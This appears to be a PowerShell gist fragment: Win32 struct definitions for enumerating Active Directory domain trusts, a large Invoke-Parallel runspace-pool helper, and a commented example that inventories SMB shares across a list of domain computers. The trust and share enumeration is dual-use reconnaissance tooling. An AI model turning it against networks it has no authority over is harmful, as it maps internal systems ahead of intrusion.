# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
function Invoke-Parallel
{
[cmdletbinding(DefaultParameterSetName = 'ScriptBlock')]
Param (
[Parameter(Mandatory = $false,position = 0,ParameterSetName = 'ScriptBlock')]
[System.Management.Automation.ScriptBlock]$ScriptBlock,
[Parameter(Mandatory = $false,ParameterSetName = 'ScriptFile')]
[ValidateScript({
Test-Path $_ -PathType leaf
})]
$ScriptFile,
[Parameter(Mandatory = $true,ValueFromPipeline = $true)]
[Alias('CN','__Server','IPAddress','Server','ComputerName')]
[PSObject]$InputObject,
[PSObject]$Parameter,
[switch]$ImportSessionFunctions,
[switch]$ImportVariables,
[switch]$ImportModules,
[int]$Throttle = 20,
[int]$SleepTimer = 200,
[int]$RunspaceTimeout = 0,
[switch]$NoCloseOnTimeout = $false,
[int]$MaxQueue,
[validatescript({
Test-Path (Split-Path -Path $_ -Parent)
})]
[string]$LogFile = 'C:\temp\log.log',
[switch] $Quiet = $false
)
Begin {
#No max queue specified? Estimate one.
#We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function
if( -not $PSBoundParameters.ContainsKey('MaxQueue') )
{
if($RunspaceTimeout -ne 0)
{
$script:MaxQueue = $Throttle
}
else
{
$script:MaxQueue = $Throttle * 3
}
}
else
{
$script:MaxQueue = $MaxQueue
}
#Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'"
#If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items
if ($ImportVariables -or $ImportModules)
{
$StandardUserEnv = [powershell]::Create().addscript({
#Get modules and snapins in this clean runspace
$Modules = Get-Module | Select-Object -ExpandProperty Name
$Snapins = Get-PSSnapin | Select-Object -ExpandProperty Name
#Get variables in this clean runspace
#Called last to get vars like $? into session
$Variables = Get-Variable | Select-Object -ExpandProperty Name
#Return a hashtable where we can access each.
@{
Variables = $Variables
Modules = $Modules
Snapins = $Snapins
}
}).invoke()[0]
if ($ImportVariables)
{
#Exclude common parameters, bound parameters, and automatic variables
Function _temp
{
[cmdletbinding()] param()
}
$VariablesToExclude = @( (Get-Command _temp | Select-Object -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables )
#Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")"
# we don't use 'Get-Variable -Exclude', because it uses regexps.
# One of the veriables that we pass is '$?'.
# There could be other variables with such problems.
# Scope 2 required if we move to a real module
$UserVariables = @( Get-Variable | Where-Object -FilterScript {
-not ($VariablesToExclude -contains $_.Name)
} )
#Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n"
}
if ($ImportModules)
{
$UserModules = @( Get-Module |
Where-Object -FilterScript {
$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path -Path $_.Path -ErrorAction SilentlyContinue)
} |
Select-Object -ExpandProperty Path )
$UserSnapins = @( Get-PSSnapin |
Select-Object -ExpandProperty Name |
Where-Object -FilterScript {
$StandardUserEnv.Snapins -notcontains $_
} )
}
}
#region functions
Function Get-RunspaceData
{
[cmdletbinding()]
param( [switch]$Wait )
#loop through runspaces
#if $wait is specified, keep looping until all complete
Do
{
#set more to false for tracking completion
$more = $false
#Progress bar if we have inputobject count (bound parameter)
if (-not $Quiet)
{
Write-Progress -Activity 'Running Query' -Status 'Starting threads'`
-CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"`
-PercentComplete $( Try
{
$script:completedCount / $totalCount * 100
}
Catch
{
0
}
)
}
#run through each runspace.
Foreach($runspace in $runspaces)
{
#get the duration - inaccurate
$currentdate = Get-Date
$runtime = $currentdate - $runspace.startTime
$runMin = [math]::Round( $runtime.totalminutes ,2 )
#set up log object
$log = '' | Select-Object -Property Date, Action, Runtime, Status, Details
$log.Action = "Removing:'$($runspace.object)'"
$log.Date = $currentdate
$log.Runtime = "$runMin minutes"
#If runspace completed, end invoke, dispose, recycle, counter++
If ($runspace.Runspace.isCompleted)
{
$script:completedCount++
#check if there were errors
if($runspace.powershell.Streams.Error.Count -gt 0)
{
#set the logging info and move the file to completed
$log.status = 'CompletedWithErrors'
#Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
foreach($ErrorRecord in $runspace.powershell.Streams.Error)
{
Write-Error -ErrorRecord $ErrorRecord
}
}
else
{
#add logging details and cleanup
$log.status = 'Completed'
#Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
}
#everything is logged, clean up the runspace
$runspace.powershell.EndInvoke($runspace.Runspace)
$runspace.powershell.dispose()
$runspace.Runspace = $null
$runspace.powershell = $null
}
#If runtime exceeds max, dispose the runspace
ElseIf ( $RunspaceTimeout -ne 0 -and $runtime.totalseconds -gt $RunspaceTimeout)
{
$script:completedCount++
$timedOutTasks = $true
#add logging details and cleanup
$log.status = 'TimedOut'
#Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
Write-Error -Message "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | Out-String)"
#Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance
if (!$NoCloseOnTimeout)
{
$runspace.powershell.dispose()
}
$runspace.Runspace = $null
$runspace.powershell = $null
$completedCount++
}
#If runspace isn't null set more to true
ElseIf ($runspace.Runspace -ne $null )
{
$log = $null
$more = $true
}
#log the results if a log file was indicated
<#
if($logFile -and $log){
($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append
}
#>
}
#Clean out unused runspace jobs
$temphash = $runspaces.clone()
$temphash |
Where-Object -FilterScript {
$_.runspace -eq $null
} |
ForEach-Object -Process {
$runspaces.remove($_)
}
#sleep for a bit if we will loop again
if($PSBoundParameters['Wait'])
{
Start-Sleep -Milliseconds $SleepTimer
}
#Loop again only if -wait parameter and there are more runspaces to process
}
while ($more -and $PSBoundParameters['Wait'])
#End of runspace function
}
#endregion functions
#region Init
if($PSCmdlet.ParameterSetName -eq 'ScriptFile')
{
$ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | Out-String) )
}
elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock')
{
#Start building parameter names for the param block
[string[]]$ParamsToAdd = '$_'
if( $PSBoundParameters.ContainsKey('Parameter') )
{
$ParamsToAdd += '$Parameter'
}
$UsingVariableData = $null
# This code enables $Using support through the AST.
# This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe!
if($PSVersionTable.PSVersion.Major -gt 2)
{
#Extract using references
$UsingVariables = $ScriptBlock.ast.FindAll({
$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]
},$true)
If ($UsingVariables)
{
$List = New-Object -TypeName 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]'
ForEach ($Ast in $UsingVariables)
{
[void]$List.Add($Ast.SubExpression)
}
$UsingVar = $UsingVariables |
Group-Object -Property SubExpression |
ForEach-Object -Process {
$_.Group |
Select-Object -First 1
}
#Extract the name, value, and create replacements for each
$UsingVariableData = ForEach ($Var in $UsingVar)
{
Try
{
$Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop
[pscustomobject]@{
Name = $Var.SubExpression.Extent.Text
Value = $Value.Value
NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath)
NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath)
}
}
Catch
{
Write-Error -Message "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!"
}
}
$ParamsToAdd += $UsingVariableData | Select-Object -ExpandProperty NewName -Unique
$NewParams = $UsingVariableData.NewName -join ', '
$Tuple = [Tuple]::Create($List, $NewParams)
$bindingFlags = [Reflection.BindingFlags]'Default,NonPublic,Instance'
$GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags))
$StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple))
$ScriptBlock = [scriptblock]::Create($StringScriptBlock)
#Write-Verbose $StringScriptBlock
}
}
$ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ', '))`r`n" + $ScriptBlock.ToString())
}
else
{
Throw 'Must provide ScriptBlock or ScriptFile'
Break
}
Write-Debug -Message "`$ScriptBlock: $($ScriptBlock | Out-String)"
If (-not($SuppressVerbose)){
Write-Verbose -Message 'Creating runspace pool and session states'
}
#If specified, add variables and modules/snapins to session state
$sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
if ($ImportVariables)
{
if($UserVariables.count -gt 0)
{
foreach($Variable in $UserVariables)
{
$sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) )
}
}
}
if ($ImportModules)
{
if($UserModules.count -gt 0)
{
foreach($ModulePath in $UserModules)
{
$sessionstate.ImportPSModule($ModulePath)
}
}
if($UserSnapins.count -gt 0)
{
foreach($PSSnapin in $UserSnapins)
{
[void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null)
}
}
}
# --------------------------------------------------
#region - Import Session Functions
# --------------------------------------------------
# Import functions from the current session into the RunspacePool sessionstate
if($ImportSessionFunctions)
{
# Import all session functions into the runspace session state from the current one
Get-ChildItem -Path Function:\ |
Where-Object -FilterScript {
$_.name -notlike '*:*'
} |
Select-Object -Property name -ExpandProperty name |
ForEach-Object -Process {
# Get the function code
$Definition = Get-Content -Path "function:\$_" -ErrorAction Stop
# Create a sessionstate function with the same name and code
$SessionStateFunction = New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "$_", $Definition
# Add the function to the session state
$sessionstate.Commands.Add($SessionStateFunction)
}
}
#endregion
#Create runspace pool
$runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host)
$runspacepool.Open()
#Write-Verbose "Creating empty collection to hold runspace jobs"
$Script:runspaces = New-Object -TypeName System.Collections.ArrayList
#If inputObject is bound get a total count and set bound to true
$bound = $PSBoundParameters.keys -contains 'InputObject'
if(-not $bound)
{
[System.Collections.ArrayList]$allObjects = @()
}
<#
#Set up log file if specified
if( $LogFile ){
New-Item -ItemType file -path $logFile -force | Out-Null
("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile
}
#write initial log entry
$log = "" | Select Date, Action, Runtime, Status, Details
$log.Date = Get-Date
$log.Action = "Batch processing started"
$log.Runtime = $null
$log.Status = "Started"
$log.Details = $null
if($logFile) {
($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append
}
#>
$timedOutTasks = $false
#endregion INIT
}
Process {
#add piped objects to all objects or set all objects to bound input object parameter
if($bound)
{
$allObjects = $InputObject
}
Else
{
[void]$allObjects.add( $InputObject )
}
}
End {
#Use Try/Finally to catch Ctrl+C and clean up.
Try
{
#counts for progress
$totalCount = $allObjects.count
$script:completedCount = 0
$startedCount = 0
foreach($object in $allObjects)
{
#region add scripts to runspace pool
#Create the powershell instance, set verbose if needed, supply the scriptblock and parameters
$powershell = [powershell]::Create()
if ($VerbosePreference -eq 'Continue')
{
[void]$powershell.AddScript({
$VerbosePreference = 'Continue'
})
}
[void]$powershell.AddScript($ScriptBlock).AddArgument($object)
if ($Parameter)
{
[void]$powershell.AddArgument($Parameter)
}
# $Using support from Boe Prox
if ($UsingVariableData)
{
Foreach($UsingVariable in $UsingVariableData)
{
#Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)"
[void]$powershell.AddArgument($UsingVariable.Value)
}
}
#Add the runspace into the powershell instance
$powershell.RunspacePool = $runspacepool
#Create a temporary collection for each runspace
$temp = '' | Select-Object -Property PowerShell, StartTime, object, Runspace
$temp.PowerShell = $powershell
$temp.StartTime = Get-Date
$temp.object = $object
#Save the handle output when calling BeginInvoke() that will be used later to end the runspace
$temp.Runspace = $powershell.BeginInvoke()
$startedCount++
#Add the temp tracking info to $runspaces collection
#Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() )
$null = $runspaces.Add($temp)
#loop through existing runspaces one time
Get-RunspaceData
#If we have more running than max queue (used to control timeout accuracy)
#Script scope resolves odd PowerShell 2 issue
$firstRun = $true
while ($runspaces.count -ge $script:MaxQueue)
{
#give verbose output
if($firstRun)
{
#Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit."
}
$firstRun = $false
#run get-runspace data and sleep for a short while
Get-RunspaceData
Start-Sleep -Milliseconds $SleepTimer
}
#endregion add scripts to runspace pool
}
#Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) )
Get-RunspaceData -wait
if (-not $Quiet)
{
Write-Progress -Activity 'Running Query' -Status 'Starting threads' -Completed
}
}
Finally
{
#Close the runspace pool, unless we specified no close on timeout and something timed out
if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($NoCloseOnTimeout -eq $false) ) )
{
If (-not($SuppressVerbose)){
Write-Verbose -Message 'Closing the runspace pool'
}
$runspacepool.close()
}
#collect garbage
[gc]::Collect()
}
}
}
<#
$targets = import-csv .\DomainComputersTarget.txt
$MyScriptBlock = {
Get-MySMBShare -ComputerName $_.ComputerName -verbose
}
$Results = $targets | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle 20 -Quiet -RunspaceTimeout 2 -ErrorAction SilentlyContinue
$Results | export-csv -NoTypeInformation NetworkShareInventory_good_output.csv
#>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment